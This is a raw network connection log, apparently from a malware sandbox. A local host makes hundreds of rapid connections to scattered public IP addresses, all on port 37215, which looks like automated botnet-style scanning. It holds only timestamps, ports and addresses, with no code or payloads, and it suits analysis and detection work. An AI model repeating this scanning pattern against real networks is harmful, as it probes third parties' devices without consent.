Aug 1, 2024 15:34:58.066358089 CEST	54412	37215	192.168.2.14	41.28.20.27
Aug 1, 2024 15:34:58.066745043 CEST	37215	47767	208.209.185.254	192.168.2.14
Aug 1, 2024 15:34:58.066783905 CEST	37215	47767	41.208.48.139	192.168.2.14
Aug 1, 2024 15:34:58.066793919 CEST	37215	47767	157.208.147.0	192.168.2.14
Aug 1, 2024 15:34:58.066803932 CEST	37215	47767	194.66.244.134	192.168.2.14
Aug 1, 2024 15:34:58.066806078 CEST	47767	37215	192.168.2.14	208.209.185.254
Aug 1, 2024 15:34:58.066813946 CEST	37215	47767	81.2.160.207	192.168.2.14
Aug 1, 2024 15:34:58.066818953 CEST	47767	37215	192.168.2.14	41.208.48.139
Aug 1, 2024 15:34:58.066824913 CEST	37215	47767	157.124.128.158	192.168.2.14
Aug 1, 2024 15:34:58.066832066 CEST	37215	47767	41.71.181.60	192.168.2.14
Aug 1, 2024 15:34:58.066836119 CEST	47767	37215	192.168.2.14	157.208.147.0
Aug 1, 2024 15:34:58.066845894 CEST	37215	47767	157.168.227.15	192.168.2.14
Aug 1, 2024 15:34:58.066850901 CEST	47767	37215	192.168.2.14	194.66.244.134
Aug 1, 2024 15:34:58.066854000 CEST	47767	37215	192.168.2.14	81.2.160.207
Aug 1, 2024 15:34:58.066855907 CEST	37215	47767	197.81.206.103	192.168.2.14
Aug 1, 2024 15:34:58.066860914 CEST	47767	37215	192.168.2.14	157.124.128.158
Aug 1, 2024 15:34:58.066860914 CEST	47767	37215	192.168.2.14	41.71.181.60
Aug 1, 2024 15:34:58.066868067 CEST	37215	47767	49.20.107.148	192.168.2.14
Aug 1, 2024 15:34:58.066876888 CEST	37215	47767	41.250.228.248	192.168.2.14
Aug 1, 2024 15:34:58.066883087 CEST	47767	37215	192.168.2.14	157.168.227.15
Aug 1, 2024 15:34:58.066883087 CEST	47767	37215	192.168.2.14	197.81.206.103
Aug 1, 2024 15:34:58.066890001 CEST	37215	47767	197.190.184.39	192.168.2.14
Aug 1, 2024 15:34:58.066896915 CEST	47767	37215	192.168.2.14	49.20.107.148
Aug 1, 2024 15:34:58.066909075 CEST	37215	47767	155.149.60.120	192.168.2.14
Aug 1, 2024 15:34:58.066920042 CEST	37215	47767	197.16.138.217	192.168.2.14
Aug 1, 2024 15:34:58.066920042 CEST	47767	37215	192.168.2.14	197.190.184.39
Aug 1, 2024 15:34:58.066925049 CEST	47767	37215	192.168.2.14	41.250.228.248
Aug 1, 2024 15:34:58.066930056 CEST	37215	47767	197.187.28.84	192.168.2.14
Aug 1, 2024 15:34:58.066940069 CEST	37215	47767	41.64.107.106	192.168.2.14
Aug 1, 2024 15:34:58.066957951 CEST	37215	47767	41.234.222.114	192.168.2.14
Aug 1, 2024 15:34:58.066957951 CEST	47767	37215	192.168.2.14	197.16.138.217
Aug 1, 2024 15:34:58.066967964 CEST	37215	47767	41.124.99.214	192.168.2.14
Aug 1, 2024 15:34:58.066972017 CEST	47767	37215	192.168.2.14	155.149.60.120
Aug 1, 2024 15:34:58.066972971 CEST	47767	37215	192.168.2.14	197.187.28.84
Aug 1, 2024 15:34:58.066978931 CEST	37215	47767	197.157.145.243	192.168.2.14
Aug 1, 2024 15:34:58.066982031 CEST	47767	37215	192.168.2.14	41.64.107.106
Aug 1, 2024 15:34:58.066989899 CEST	37215	47767	41.217.157.104	192.168.2.14
Aug 1, 2024 15:34:58.066994905 CEST	37215	47767	31.194.172.233	192.168.2.14
Aug 1, 2024 15:34:58.067004919 CEST	37215	47767	157.183.99.255	192.168.2.14
Aug 1, 2024 15:34:58.067008018 CEST	47767	37215	192.168.2.14	41.124.99.214
Aug 1, 2024 15:34:58.067017078 CEST	37215	47767	197.150.124.20	192.168.2.14
Aug 1, 2024 15:34:58.067019939 CEST	47767	37215	192.168.2.14	197.157.145.243
Aug 1, 2024 15:34:58.067019939 CEST	47767	37215	192.168.2.14	41.217.157.104
Aug 1, 2024 15:34:58.067025900 CEST	44792	37215	192.168.2.14	107.149.239.1
Aug 1, 2024 15:34:58.067027092 CEST	37215	47767	41.157.253.23	192.168.2.14
Aug 1, 2024 15:34:58.067028999 CEST	47767	37215	192.168.2.14	31.194.172.233
Aug 1, 2024 15:34:58.067039013 CEST	37215	47767	197.144.217.252	192.168.2.14
Aug 1, 2024 15:34:58.067039013 CEST	47767	37215	192.168.2.14	157.183.99.255
Aug 1, 2024 15:34:58.067042112 CEST	47767	37215	192.168.2.14	41.234.222.114
Aug 1, 2024 15:34:58.067049980 CEST	37215	47767	157.44.211.209	192.168.2.14
Aug 1, 2024 15:34:58.067055941 CEST	47767	37215	192.168.2.14	41.157.253.23
Aug 1, 2024 15:34:58.067059994 CEST	47767	37215	192.168.2.14	197.150.124.20
Aug 1, 2024 15:34:58.067060947 CEST	37215	47767	41.173.95.160	192.168.2.14
Aug 1, 2024 15:34:58.067080975 CEST	47767	37215	192.168.2.14	157.44.211.209
Aug 1, 2024 15:34:58.067091942 CEST	47767	37215	192.168.2.14	197.144.217.252
Aug 1, 2024 15:34:58.067224979 CEST	47767	37215	192.168.2.14	41.173.95.160
Aug 1, 2024 15:34:58.067701101 CEST	37215	47767	197.17.184.74	192.168.2.14
Aug 1, 2024 15:34:58.067711115 CEST	37215	47767	41.219.42.46	192.168.2.14
Aug 1, 2024 15:34:58.067734003 CEST	47767	37215	192.168.2.14	197.17.184.74
Aug 1, 2024 15:34:58.067748070 CEST	50448	37215	192.168.2.14	41.4.254.184
Aug 1, 2024 15:34:58.067748070 CEST	47767	37215	192.168.2.14	41.219.42.46
Aug 1, 2024 15:34:58.067799091 CEST	37215	47767	39.211.206.84	192.168.2.14
Aug 1, 2024 15:34:58.067811012 CEST	37215	47767	197.94.246.102	192.168.2.14
Aug 1, 2024 15:34:58.067821980 CEST	37215	47767	197.192.98.90	192.168.2.14
Aug 1, 2024 15:34:58.067831993 CEST	47767	37215	192.168.2.14	39.211.206.84
Aug 1, 2024 15:34:58.067831993 CEST	37215	47767	206.47.202.159	192.168.2.14
Aug 1, 2024 15:34:58.067842007 CEST	47767	37215	192.168.2.14	197.94.246.102
Aug 1, 2024 15:34:58.067842007 CEST	37215	47767	41.230.118.212	192.168.2.14
Aug 1, 2024 15:34:58.067852974 CEST	37215	47767	197.60.187.26	192.168.2.14
Aug 1, 2024 15:34:58.067862988 CEST	37215	47767	157.66.4.172	192.168.2.14
Aug 1, 2024 15:34:58.067868948 CEST	47767	37215	192.168.2.14	206.47.202.159
Aug 1, 2024 15:34:58.067873001 CEST	37215	47767	203.174.189.69	192.168.2.14
Aug 1, 2024 15:34:58.067873001 CEST	47767	37215	192.168.2.14	197.192.98.90
Aug 1, 2024 15:34:58.067883968 CEST	47767	37215	192.168.2.14	41.230.118.212
Aug 1, 2024 15:34:58.067893028 CEST	47767	37215	192.168.2.14	157.66.4.172
Aug 1, 2024 15:34:58.067893028 CEST	37215	47767	41.235.235.26	192.168.2.14
Aug 1, 2024 15:34:58.067903042 CEST	47767	37215	192.168.2.14	197.60.187.26
Aug 1, 2024 15:34:58.067905903 CEST	37215	47767	197.187.59.199	192.168.2.14
Aug 1, 2024 15:34:58.067915916 CEST	37215	47767	223.221.147.77	192.168.2.14
Aug 1, 2024 15:34:58.067922115 CEST	47767	37215	192.168.2.14	203.174.189.69
Aug 1, 2024 15:34:58.067925930 CEST	37215	47767	157.231.75.228	192.168.2.14
Aug 1, 2024 15:34:58.067936897 CEST	37215	47767	197.159.193.229	192.168.2.14
Aug 1, 2024 15:34:58.067939043 CEST	47767	37215	192.168.2.14	197.187.59.199
Aug 1, 2024 15:34:58.067940950 CEST	47767	37215	192.168.2.14	223.221.147.77
Aug 1, 2024 15:34:58.067949057 CEST	37215	47767	209.2.36.16	192.168.2.14
Aug 1, 2024 15:34:58.067958117 CEST	37215	47767	41.211.153.237	192.168.2.14
Aug 1, 2024 15:34:58.067962885 CEST	47767	37215	192.168.2.14	157.231.75.228
Aug 1, 2024 15:34:58.067966938 CEST	47767	37215	192.168.2.14	41.235.235.26
Aug 1, 2024 15:34:58.067967892 CEST	37215	47767	197.139.220.194	192.168.2.14
Aug 1, 2024 15:34:58.067970037 CEST	47767	37215	192.168.2.14	197.159.193.229
Aug 1, 2024 15:34:58.067974091 CEST	37215	47767	135.118.166.102	192.168.2.14
Aug 1, 2024 15:34:58.067984104 CEST	37215	47767	197.199.140.102	192.168.2.14
Aug 1, 2024 15:34:58.067991018 CEST	47767	37215	192.168.2.14	209.2.36.16
Aug 1, 2024 15:34:58.067992926 CEST	47767	37215	192.168.2.14	41.211.153.237
Aug 1, 2024 15:34:58.067995071 CEST	37215	47767	197.131.78.23	192.168.2.14
Aug 1, 2024 15:34:58.068000078 CEST	47767	37215	192.168.2.14	197.139.220.194
Aug 1, 2024 15:34:58.068005085 CEST	47767	37215	192.168.2.14	135.118.166.102
Aug 1, 2024 15:34:58.068006039 CEST	37215	47767	41.190.136.23	192.168.2.14
Aug 1, 2024 15:34:58.068016052 CEST	37215	47767	197.15.28.195	192.168.2.14
Aug 1, 2024 15:34:58.068025112 CEST	37215	47767	197.166.48.68	192.168.2.14
Aug 1, 2024 15:34:58.068025112 CEST	47767	37215	192.168.2.14	197.131.78.23
Aug 1, 2024 15:34:58.068034887 CEST	37215	47767	222.147.48.10	192.168.2.14
Aug 1, 2024 15:34:58.068046093 CEST	47767	37215	192.168.2.14	41.190.136.23
Aug 1, 2024 15:34:58.068046093 CEST	37215	47767	138.183.23.140	192.168.2.14
Aug 1, 2024 15:34:58.068048000 CEST	47767	37215	192.168.2.14	197.15.28.195
Aug 1, 2024 15:34:58.068053007 CEST	47767	37215	192.168.2.14	197.166.48.68
Aug 1, 2024 15:34:58.068056107 CEST	37215	47767	197.41.68.240	192.168.2.14
Aug 1, 2024 15:34:58.068072081 CEST	47767	37215	192.168.2.14	222.147.48.10
Aug 1, 2024 15:34:58.068078995 CEST	47767	37215	192.168.2.14	197.199.140.102
Aug 1, 2024 15:34:58.068078995 CEST	47767	37215	192.168.2.14	138.183.23.140
Aug 1, 2024 15:34:58.068092108 CEST	47767	37215	192.168.2.14	197.41.68.240
Aug 1, 2024 15:34:58.068139076 CEST	37215	47767	157.14.212.154	192.168.2.14
Aug 1, 2024 15:34:58.068150043 CEST	37215	47767	157.54.41.18	192.168.2.14
Aug 1, 2024 15:34:58.068159103 CEST	37215	47767	41.246.58.70	192.168.2.14
Aug 1, 2024 15:34:58.068169117 CEST	37215	47767	77.133.66.205	192.168.2.14
Aug 1, 2024 15:34:58.068177938 CEST	37215	47767	197.89.114.139	192.168.2.14
Aug 1, 2024 15:34:58.068180084 CEST	47767	37215	192.168.2.14	157.54.41.18
Aug 1, 2024 15:34:58.068182945 CEST	37215	47767	212.236.1.28	192.168.2.14
Aug 1, 2024 15:34:58.068192005 CEST	37215	47767	97.140.141.241	192.168.2.14
Aug 1, 2024 15:34:58.068193913 CEST	47767	37215	192.168.2.14	41.246.58.70
Aug 1, 2024 15:34:58.068197966 CEST	47767	37215	192.168.2.14	157.14.212.154
Aug 1, 2024 15:34:58.068207026 CEST	37215	47767	41.200.108.82	192.168.2.14
Aug 1, 2024 15:34:58.068211079 CEST	47767	37215	192.168.2.14	197.89.114.139
Aug 1, 2024 15:34:58.068217993 CEST	37215	47767	197.216.72.80	192.168.2.14
Aug 1, 2024 15:34:58.068227053 CEST	47767	37215	192.168.2.14	212.236.1.28
Aug 1, 2024 15:34:58.068227053 CEST	37215	55512	41.170.96.15	192.168.2.14
Aug 1, 2024 15:34:58.068233967 CEST	47767	37215	192.168.2.14	77.133.66.205
Aug 1, 2024 15:34:58.068233967 CEST	47767	37215	192.168.2.14	97.140.141.241
Aug 1, 2024 15:34:58.068240881 CEST	37215	52428	197.104.19.50	192.168.2.14
Aug 1, 2024 15:34:58.068242073 CEST	47767	37215	192.168.2.14	41.200.108.82
Aug 1, 2024 15:34:58.068259954 CEST	47767	37215	192.168.2.14	197.216.72.80
Aug 1, 2024 15:34:58.068265915 CEST	37215	37944	157.130.3.45	192.168.2.14
Aug 1, 2024 15:34:58.068278074 CEST	37215	45878	160.44.142.45	192.168.2.14
Aug 1, 2024 15:34:58.068303108 CEST	37215	49556	157.29.131.245	192.168.2.14
Aug 1, 2024 15:34:58.068346024 CEST	37215	40284	197.197.246.96	192.168.2.14
Aug 1, 2024 15:34:58.068382978 CEST	37215	51826	157.112.241.123	192.168.2.14
Aug 1, 2024 15:34:58.068392992 CEST	37215	38588	157.193.29.198	192.168.2.14
Aug 1, 2024 15:34:58.068422079 CEST	37215	52058	197.67.216.45	192.168.2.14
Aug 1, 2024 15:34:58.068427086 CEST	36488	37215	192.168.2.14	157.55.116.173
Aug 1, 2024 15:34:58.068496943 CEST	37215	48430	41.70.98.150	192.168.2.14
Aug 1, 2024 15:34:58.068507910 CEST	37215	53874	157.21.242.107	192.168.2.14
Aug 1, 2024 15:34:58.068519115 CEST	37215	41148	41.168.230.58	192.168.2.14
Aug 1, 2024 15:34:58.068540096 CEST	37215	53284	184.119.116.174	192.168.2.14
Aug 1, 2024 15:34:58.068550110 CEST	37215	34438	59.146.160.181	192.168.2.14
Aug 1, 2024 15:34:58.068689108 CEST	37215	40232	197.52.145.226	192.168.2.14
Aug 1, 2024 15:34:58.068698883 CEST	37215	40138	70.45.88.250	192.168.2.14
Aug 1, 2024 15:34:58.068761110 CEST	37215	46336	197.241.187.121	192.168.2.14
Aug 1, 2024 15:34:58.068770885 CEST	37215	37714	197.233.134.99	192.168.2.14
Aug 1, 2024 15:34:58.068809032 CEST	37215	49846	157.234.233.14	192.168.2.14
Aug 1, 2024 15:34:58.068819046 CEST	37215	53872	41.150.3.88	192.168.2.14
Aug 1, 2024 15:34:58.068870068 CEST	37215	55942	92.176.125.168	192.168.2.14
Aug 1, 2024 15:34:58.068881989 CEST	37215	41128	76.79.65.175	192.168.2.14
Aug 1, 2024 15:34:58.068928003 CEST	37215	51796	157.67.94.230	192.168.2.14
Aug 1, 2024 15:34:58.068948030 CEST	37215	57102	83.124.132.190	192.168.2.14
Aug 1, 2024 15:34:58.069000959 CEST	37215	37286	197.220.34.9	192.168.2.14
Aug 1, 2024 15:34:58.069111109 CEST	57782	37215	192.168.2.14	197.215.49.120
Aug 1, 2024 15:34:58.069154024 CEST	37215	58496	197.38.139.56	192.168.2.14
Aug 1, 2024 15:34:58.069164038 CEST	37215	45084	157.185.146.40	192.168.2.14
Aug 1, 2024 15:34:58.069174051 CEST	37215	37520	157.46.42.17	192.168.2.14
Aug 1, 2024 15:34:58.069262028 CEST	37215	34030	197.74.128.205	192.168.2.14
Aug 1, 2024 15:34:58.069279909 CEST	37215	60706	157.175.27.16	192.168.2.14
Aug 1, 2024 15:34:58.069289923 CEST	37215	41812	208.67.56.114	192.168.2.14
Aug 1, 2024 15:34:58.069300890 CEST	37215	44610	9.50.79.142	192.168.2.14
Aug 1, 2024 15:34:58.069312096 CEST	37215	60664	197.200.154.27	192.168.2.14
Aug 1, 2024 15:34:58.069329977 CEST	37215	57054	197.173.88.168	192.168.2.14
Aug 1, 2024 15:34:58.069355965 CEST	37215	44190	157.154.221.57	192.168.2.14
Aug 1, 2024 15:34:58.069417953 CEST	37215	43000	14.190.104.245	192.168.2.14
Aug 1, 2024 15:34:58.069530964 CEST	37215	33316	197.252.210.245	192.168.2.14
Aug 1, 2024 15:34:58.069665909 CEST	37215	37516	197.226.46.21	192.168.2.14
Aug 1, 2024 15:34:58.069703102 CEST	37215	36202	187.160.51.75	192.168.2.14
Aug 1, 2024 15:34:58.069761992 CEST	37215	35140	197.150.90.60	192.168.2.14
Aug 1, 2024 15:34:58.069772005 CEST	37215	44636	197.196.40.133	192.168.2.14
Aug 1, 2024 15:34:58.069783926 CEST	37215	33634	41.136.78.84	192.168.2.14
Aug 1, 2024 15:34:58.069793940 CEST	37215	35776	197.71.56.244	192.168.2.14
Aug 1, 2024 15:34:58.069864988 CEST	37215	35098	41.7.253.92	192.168.2.14
Aug 1, 2024 15:34:58.069875002 CEST	37215	34606	148.245.147.90	192.168.2.14
Aug 1, 2024 15:34:58.069921017 CEST	37215	44072	197.133.207.105	192.168.2.14
Aug 1, 2024 15:34:58.069932938 CEST	37215	39296	63.182.26.190	192.168.2.14
Aug 1, 2024 15:34:58.069978952 CEST	37215	38384	41.86.147.45	192.168.2.14
Aug 1, 2024 15:34:58.069988966 CEST	37215	50350	130.47.155.129	192.168.2.14
Aug 1, 2024 15:34:58.070002079 CEST	37215	48714	197.176.24.104	192.168.2.14
Aug 1, 2024 15:34:58.070003033 CEST	35330	37215	192.168.2.14	41.185.152.245
Aug 1, 2024 15:34:58.070019960 CEST	37215	44882	197.18.236.36	192.168.2.14
Aug 1, 2024 15:34:58.070133924 CEST	37215	45612	41.2.22.184	192.168.2.14
Aug 1, 2024 15:34:58.070143938 CEST	37215	47452	157.19.219.96	192.168.2.14
Aug 1, 2024 15:34:58.070214987 CEST	37215	52708	41.117.191.144	192.168.2.14
Aug 1, 2024 15:34:58.070281982 CEST	37215	54534	151.198.130.124	192.168.2.14
Aug 1, 2024 15:34:58.070312023 CEST	37215	57850	172.128.243.228	192.168.2.14
Aug 1, 2024 15:34:58.070322037 CEST	37215	43212	157.182.228.215	192.168.2.14
Aug 1, 2024 15:34:58.070434093 CEST	37215	37618	157.194.129.160	192.168.2.14
Aug 1, 2024 15:34:58.070444107 CEST	37215	37652	197.141.27.118	192.168.2.14
Aug 1, 2024 15:34:58.070614100 CEST	37215	33542	111.219.90.142	192.168.2.14
Aug 1, 2024 15:34:58.070624113 CEST	37215	58824	17.213.200.107	192.168.2.14
Aug 1, 2024 15:34:58.070719004 CEST	37215	49456	41.125.82.183	192.168.2.14
Aug 1, 2024 15:34:58.070801020 CEST	37215	41916	197.104.130.27	192.168.2.14
Aug 1, 2024 15:34:58.070878029 CEST	37215	44448	119.90.131.53	192.168.2.14
Aug 1, 2024 15:34:58.070899010 CEST	37215	54842	197.153.149.210	192.168.2.14
Aug 1, 2024 15:34:58.070921898 CEST	39006	37215	192.168.2.14	41.70.247.100
Aug 1, 2024 15:34:58.071007967 CEST	37215	52318	197.152.239.61	192.168.2.14
Aug 1, 2024 15:34:58.071017981 CEST	37215	46018	157.108.69.147	192.168.2.14
Aug 1, 2024 15:34:58.071105003 CEST	37215	41962	197.177.166.85	192.168.2.14
Aug 1, 2024 15:34:58.071115017 CEST	37215	33870	197.141.234.224	192.168.2.14
Aug 1, 2024 15:34:58.071204901 CEST	37215	60292	41.12.104.26	192.168.2.14
Aug 1, 2024 15:34:58.071216106 CEST	37215	44026	157.101.184.107	192.168.2.14
Aug 1, 2024 15:34:58.071227074 CEST	37215	33234	160.149.238.205	192.168.2.14
Aug 1, 2024 15:34:58.071244955 CEST	37215	33192	41.135.240.219	192.168.2.14
Aug 1, 2024 15:34:58.071268082 CEST	37215	33632	41.12.240.236	192.168.2.14
Aug 1, 2024 15:34:58.071276903 CEST	37215	60948	41.18.157.111	192.168.2.14
Aug 1, 2024 15:34:58.071382046 CEST	37215	49726	197.86.199.8	192.168.2.14
Aug 1, 2024 15:34:58.071393013 CEST	37215	55144	157.179.229.76	192.168.2.14
Aug 1, 2024 15:34:58.071496010 CEST	37215	34792	41.171.17.204	192.168.2.14
Aug 1, 2024 15:34:58.071515083 CEST	37215	36160	157.74.188.160	192.168.2.14
Aug 1, 2024 15:34:58.071611881 CEST	37215	49448	197.58.206.143	192.168.2.14
Aug 1, 2024 15:34:58.071624041 CEST	37215	36062	41.117.23.22	192.168.2.14
Aug 1, 2024 15:34:58.071661949 CEST	37215	46388	157.158.84.141	192.168.2.14
Aug 1, 2024 15:34:58.071671963 CEST	37215	35788	197.137.205.208	192.168.2.14
Aug 1, 2024 15:34:58.071686029 CEST	37215	54156	163.42.224.94	192.168.2.14
Aug 1, 2024 15:34:58.071702003 CEST	37215	39214	197.191.74.75	192.168.2.14
Aug 1, 2024 15:34:58.071794987 CEST	37215	43462	197.92.56.154	192.168.2.14
Aug 1, 2024 15:34:58.071805954 CEST	37215	35982	41.46.147.104	192.168.2.14
Aug 1, 2024 15:34:58.071861029 CEST	37215	58702	41.23.136.70	192.168.2.14
Aug 1, 2024 15:34:58.071871996 CEST	37215	39564	41.241.93.77	192.168.2.14
Aug 1, 2024 15:34:58.071883917 CEST	37215	38286	41.225.137.7	192.168.2.14
Aug 1, 2024 15:34:58.071894884 CEST	37215	34514	157.59.133.168	192.168.2.14
Aug 1, 2024 15:34:58.071913004 CEST	37215	35068	197.44.123.150	192.168.2.14
Aug 1, 2024 15:34:58.071923971 CEST	37215	34330	197.69.76.72	192.168.2.14
Aug 1, 2024 15:34:58.071990967 CEST	37215	33348	197.73.155.152	192.168.2.14
Aug 1, 2024 15:34:58.072001934 CEST	37215	46206	41.126.121.67	192.168.2.14
Aug 1, 2024 15:34:58.072074890 CEST	37215	59778	157.66.58.1	192.168.2.14
Aug 1, 2024 15:34:58.072086096 CEST	37215	50872	41.124.168.112	192.168.2.14
Aug 1, 2024 15:34:58.072128057 CEST	37215	57040	41.139.143.29	192.168.2.14
Aug 1, 2024 15:34:58.072217941 CEST	37215	51530	54.13.239.184	192.168.2.14
Aug 1, 2024 15:34:58.072227955 CEST	37215	49210	186.22.144.161	192.168.2.14
Aug 1, 2024 15:34:58.072241068 CEST	37215	49734	41.149.139.9	192.168.2.14
Aug 1, 2024 15:34:58.072298050 CEST	50402	37215	192.168.2.14	157.17.1.228
Aug 1, 2024 15:34:58.072330952 CEST	37215	46126	157.196.129.192	192.168.2.14
Aug 1, 2024 15:34:58.072386980 CEST	37215	34712	157.57.103.130	192.168.2.14
Aug 1, 2024 15:34:58.072448969 CEST	37215	42132	210.71.47.173	192.168.2.14
Aug 1, 2024 15:34:58.072504997 CEST	37215	46614	221.120.194.104	192.168.2.14
Aug 1, 2024 15:34:58.072577000 CEST	37215	37258	102.39.195.141	192.168.2.14
Aug 1, 2024 15:34:58.072587013 CEST	37215	56218	190.251.100.176	192.168.2.14
Aug 1, 2024 15:34:58.072597980 CEST	37215	35898	32.132.7.31	192.168.2.14
Aug 1, 2024 15:34:58.072684050 CEST	37215	59662	41.73.44.185	192.168.2.14
Aug 1, 2024 15:34:58.072694063 CEST	37215	42394	41.6.79.92	192.168.2.14
Aug 1, 2024 15:34:58.072704077 CEST	37215	54836	41.54.8.114	192.168.2.14
Aug 1, 2024 15:34:58.072990894 CEST	37215	50504	197.196.206.55	192.168.2.14
Aug 1, 2024 15:34:58.073052883 CEST	51216	37215	192.168.2.14	19.145.5.222
Aug 1, 2024 15:34:58.073059082 CEST	37215	51976	194.193.18.127	192.168.2.14
Aug 1, 2024 15:34:58.073396921 CEST	37215	52660	41.29.127.52	192.168.2.14
Aug 1, 2024 15:34:58.073406935 CEST	37215	43542	197.237.2.174	192.168.2.14
Aug 1, 2024 15:34:58.073700905 CEST	37215	37294	193.62.208.172	192.168.2.14
Aug 1, 2024 15:34:58.073710918 CEST	37215	44990	58.206.132.145	192.168.2.14
Aug 1, 2024 15:34:58.073720932 CEST	37215	39006	157.202.20.92	192.168.2.14
Aug 1, 2024 15:34:58.073764086 CEST	39006	37215	192.168.2.14	157.202.20.92
Aug 1, 2024 15:34:58.073784113 CEST	57916	37215	192.168.2.14	41.113.216.82
Aug 1, 2024 15:34:58.074498892 CEST	35868	37215	192.168.2.14	41.253.207.136
Aug 1, 2024 15:34:58.075149059 CEST	53558	37215	192.168.2.14	203.94.61.115
Aug 1, 2024 15:34:58.075754881 CEST	43126	37215	192.168.2.14	68.0.81.20
Aug 1, 2024 15:34:58.076457977 CEST	41566	37215	192.168.2.14	66.156.73.237
Aug 1, 2024 15:34:58.077085972 CEST	41150	37215	192.168.2.14	197.224.129.118
Aug 1, 2024 15:34:58.077141047 CEST	37215	43474	41.98.222.243	192.168.2.14
Aug 1, 2024 15:34:58.077173948 CEST	43474	37215	192.168.2.14	41.98.222.243
Aug 1, 2024 15:34:58.077735901 CEST	57220	37215	192.168.2.14	157.106.54.160
Aug 1, 2024 15:34:58.078500032 CEST	35730	37215	192.168.2.14	41.157.106.162
Aug 1, 2024 15:34:58.079169989 CEST	53588	37215	192.168.2.14	197.255.40.203
Aug 1, 2024 15:34:58.079880953 CEST	49900	37215	192.168.2.14	197.113.81.148
Aug 1, 2024 15:34:58.080566883 CEST	49856	37215	192.168.2.14	157.181.223.139
Aug 1, 2024 15:34:58.081382036 CEST	38210	37215	192.168.2.14	98.82.168.244
Aug 1, 2024 15:34:58.082102060 CEST	42762	37215	192.168.2.14	197.83.25.177
Aug 1, 2024 15:34:58.082885981 CEST	49460	37215	192.168.2.14	44.77.58.180
Aug 1, 2024 15:34:58.083254099 CEST	37215	59092	41.125.175.119	192.168.2.14
Aug 1, 2024 15:34:58.083292007 CEST	59092	37215	192.168.2.14	41.125.175.119
Aug 1, 2024 15:34:58.083589077 CEST	53122	37215	192.168.2.14	41.2.62.147
Aug 1, 2024 15:34:58.084268093 CEST	48260	37215	192.168.2.14	157.91.246.246
Aug 1, 2024 15:34:58.085021019 CEST	48784	37215	192.168.2.14	157.90.89.6
Aug 1, 2024 15:34:58.085673094 CEST	41412	37215	192.168.2.14	197.127.165.110
Aug 1, 2024 15:34:58.086393118 CEST	43032	37215	192.168.2.14	41.191.132.216
Aug 1, 2024 15:34:58.086401939 CEST	37215	52746	169.58.213.52	192.168.2.14
Aug 1, 2024 15:34:58.086443901 CEST	52746	37215	192.168.2.14	169.58.213.52
Aug 1, 2024 15:34:58.088268042 CEST	49540	37215	192.168.2.14	197.160.38.240
Aug 1, 2024 15:34:58.088974953 CEST	50436	37215	192.168.2.14	197.121.194.218
Aug 1, 2024 15:34:58.089735985 CEST	43700	37215	192.168.2.14	157.98.134.211
Aug 1, 2024 15:34:58.090445995 CEST	53284	37215	192.168.2.14	41.79.224.118
Aug 1, 2024 15:34:58.090696096 CEST	37215	38350	157.72.40.80	192.168.2.14
Aug 1, 2024 15:34:58.090708017 CEST	37215	35486	157.182.153.106	192.168.2.14
Aug 1, 2024 15:34:58.090748072 CEST	37215	48580	63.87.52.92	192.168.2.14
Aug 1, 2024 15:34:58.090765953 CEST	37215	44082	157.23.212.95	192.168.2.14
Aug 1, 2024 15:34:58.091306925 CEST	55618	37215	192.168.2.14	118.147.89.129
Aug 1, 2024 15:34:58.091332912 CEST	37215	44852	157.195.63.88	192.168.2.14
Aug 1, 2024 15:34:58.091344118 CEST	37215	46658	41.52.215.85	192.168.2.14
Aug 1, 2024 15:34:58.091372013 CEST	37215	58240	82.116.139.160	192.168.2.14
Aug 1, 2024 15:34:58.091382027 CEST	37215	45634	41.64.157.89	192.168.2.14
Aug 1, 2024 15:34:58.091383934 CEST	46658	37215	192.168.2.14	41.52.215.85
Aug 1, 2024 15:34:58.091398954 CEST	58240	37215	192.168.2.14	82.116.139.160
Aug 1, 2024 15:34:58.091411114 CEST	45634	37215	192.168.2.14	41.64.157.89
Aug 1, 2024 15:34:58.092401028 CEST	37215	53014	197.88.245.59	192.168.2.14
Aug 1, 2024 15:34:58.092416048 CEST	39872	37215	192.168.2.14	157.239.149.213
Aug 1, 2024 15:34:58.092437983 CEST	53014	37215	192.168.2.14	197.88.245.59
Aug 1, 2024 15:34:58.092451096 CEST	37215	54406	157.52.39.90	192.168.2.14
Aug 1, 2024 15:34:58.092461109 CEST	37215	36502	157.196.70.246	192.168.2.14
Aug 1, 2024 15:34:58.092472076 CEST	37215	42612	197.57.88.125	192.168.2.14
Aug 1, 2024 15:34:58.092489958 CEST	54406	37215	192.168.2.14	157.52.39.90
Aug 1, 2024 15:34:58.092502117 CEST	42612	37215	192.168.2.14	197.57.88.125
Aug 1, 2024 15:34:58.092502117 CEST	36502	37215	192.168.2.14	157.196.70.246
Aug 1, 2024 15:34:58.093221903 CEST	56370	37215	192.168.2.14	18.233.13.67
Aug 1, 2024 15:34:58.093648911 CEST	37215	56302	197.82.36.239	192.168.2.14
Aug 1, 2024 15:34:58.093660116 CEST	37215	43122	41.91.123.73	192.168.2.14
Aug 1, 2024 15:34:58.093692064 CEST	56302	37215	192.168.2.14	197.82.36.239
Aug 1, 2024 15:34:58.093696117 CEST	43122	37215	192.168.2.14	41.91.123.73
Aug 1, 2024 15:34:58.093746901 CEST	37215	54890	44.185.0.157	192.168.2.14
Aug 1, 2024 15:34:58.093796968 CEST	54890	37215	192.168.2.14	44.185.0.157
Aug 1, 2024 15:34:58.093991041 CEST	43312	37215	192.168.2.14	197.205.194.24
Aug 1, 2024 15:34:58.094693899 CEST	37215	54412	41.28.20.27	192.168.2.14
Aug 1, 2024 15:34:58.094696999 CEST	54618	37215	192.168.2.14	157.225.205.202
Aug 1, 2024 15:34:58.094723940 CEST	37215	44792	107.149.239.1	192.168.2.14
Aug 1, 2024 15:34:58.094734907 CEST	54412	37215	192.168.2.14	41.28.20.27
Aug 1, 2024 15:34:58.094734907 CEST	37215	50448	41.4.254.184	192.168.2.14
Aug 1, 2024 15:34:58.094765902 CEST	44792	37215	192.168.2.14	107.149.239.1
Aug 1, 2024 15:34:58.094798088 CEST	50448	37215	192.168.2.14	41.4.254.184
Aug 1, 2024 15:34:58.095082998 CEST	37215	36488	157.55.116.173	192.168.2.14
Aug 1, 2024 15:34:58.095093012 CEST	37215	57782	197.215.49.120	192.168.2.14
Aug 1, 2024 15:34:58.095101118 CEST	37215	35330	41.185.152.245	192.168.2.14
Aug 1, 2024 15:34:58.095105886 CEST	37215	39006	41.70.247.100	192.168.2.14
Aug 1, 2024 15:34:58.095115900 CEST	37215	50402	157.17.1.228	192.168.2.14
Aug 1, 2024 15:34:58.095128059 CEST	37215	51216	19.145.5.222	192.168.2.14
Aug 1, 2024 15:34:58.095132113 CEST	36488	37215	192.168.2.14	157.55.116.173
